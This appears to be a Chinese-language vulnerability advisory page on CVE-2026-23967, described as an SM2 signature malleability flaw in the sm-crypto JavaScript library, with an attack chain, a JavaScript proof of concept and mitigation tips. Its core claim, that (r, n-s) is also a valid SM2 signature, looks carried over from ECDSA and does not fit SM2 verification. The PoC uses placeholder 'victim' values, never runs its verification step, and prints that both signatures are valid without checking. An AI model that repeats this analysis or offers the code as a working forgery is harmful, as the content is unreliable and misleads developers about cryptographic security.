IPBUF安全漏洞报告
English
CVE-2026-23967 CVSS 7.5 高危

CVE-2026-23967 sm-crypto SM2签名可塑性漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23967
漏洞类型
签名可塑性
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
sm-crypto (SM2, SM3, SM4 JavaScript实现库)

相关标签

签名可塑性SM2算法sm-crypto国密算法椭圆曲线密码学数字签名漏洞JavaScript加密库

漏洞概述

sm-crypto是一个提供中国密码学算法SM2、SM3和SM4的JavaScript实现库,广泛应用于需要国密算法的Web应用中。该库在0.3.14版本之前存在签名可塑性(Signature Malleability)漏洞,存在于SM2签名验证逻辑中。攻击者可以利用此漏洞从已存在的有效签名派生出一个新的有效签名,而无需知道私钥。这意味着攻击者可以对已签名的消息进行签名伪造,绕过签名验证机制。由于SM2算法常用于数字签名、身份认证等安全场景,此漏洞可能导致签名验证机制失效,使攻击者能够冒充合法用户签署文件或消息,进而影响系统的完整性和身份认证安全性。该漏洞无需认证即可利用,CVSS评分7.5,属于高危漏洞。

技术细节

SM2签名算法基于椭圆曲线密码学,其签名由(r, s)两个值组成。签名可塑性漏洞允许攻击者在已知有效签名(r, s)的情况下,通过数学变换生成另一个有效签名(r, n-s),其中n为椭圆曲线阶。SM2签名验证过程检查r和s的值是否在合理范围内,但由于未对s进行唯一性约束,攻击者可以构造s' = n - s,生成与原签名不同但同样有效的签名。在实际攻击场景中,攻击者可以:1) 获取目标消息的原始签名;2) 计算s' = n - s;3) 生成新的签名(r, s');4) 使用新签名通过验证。这种攻击不需要知道私钥,可以绕过基于签名的访问控制和电子签名验证系统。修复版本0.3.14通过添加s值的唯一性检查或规范化处理来解决此问题。

攻击链分析

STEP 1
步骤1
攻击者获取目标消息的原始SM2签名(r, s),可以通过拦截通信、访问日志或获取已签名文档
STEP 2
步骤2
攻击者获取SM2椭圆曲线的阶n(公开参数),计算s' = n - s,生成新的签名(r, s')
STEP 3
步骤3
攻击者使用新生成的签名(r, s')伪造签名后的消息,由于签名可塑性,该签名能通过验证
STEP 4
步骤4
攻击者利用伪造的签名冒充合法用户签署文件、交易或进行身份认证,绕过系统的签名验证机制
STEP 5
步骤5
攻击者利用伪造签名执行未授权操作,如签署合同、篡改数据或绕过访问控制,造成完整性破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23967 Signature Malleability PoC // Affected: sm-crypto < 0.3.14 const sm2 = require('sm-crypto').sm2; const { ec: EC } = require('elliptic'); const curve = new EC('sm2'); function exploitSignatureMalleability() { // Original signature from victim const originalSignature = { r: '6486d8e2b2b7c2e4d6f8a1b3c5d7e9f0a2b4c6d8e0f2a4b6c8d0e2f4a6b8c0d2', s: '8b3c5d7e9f1a3b5c7d9e1f3a5b7c9d1e3f5a7b9c1d3e5f7a9b1c3d5e7f9a1' }; // Get the SM2 curve order (n) const n = curve.n.toString(16); // Calculate s' = n - s (the malleated signature value) const nBigInt = BigInt('0x' + n); const sBigInt = BigInt('0x' + originalSignature.s); const sPrime = (nBigInt - sBigInt).toString(16); // New valid signature const malleatedSignature = { r: originalSignature.r, s: sPrime }; console.log('Original Signature:', originalSignature); console.log('Malleated Signature:', malleatedSignature); console.log('Both signatures are valid for the same message!'); return malleatedSignature; } // Verification that both signatures pass function verifyBothSignatures(message, signature) { const publicKey = 'your-public-key-here'; // Victim's public key const verify1 = sm2.verify(publicKey, message, signature); console.log('Signature verification result:', verify1); } exploitSignatureMalleability();

影响范围

sm-crypto < 0.3.14

防御指南

临时缓解措施
如果无法立即升级,可采用以下临时措施:在应用层实现签名规范化处理,验证s值是否小于n/2,拒绝不符合规范的签名;添加签名计数器或序列号机制防止签名重放;增加额外的消息完整性校验,如HMAC或MAC验证;在高风险场景中启用双因素认证或多签名机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表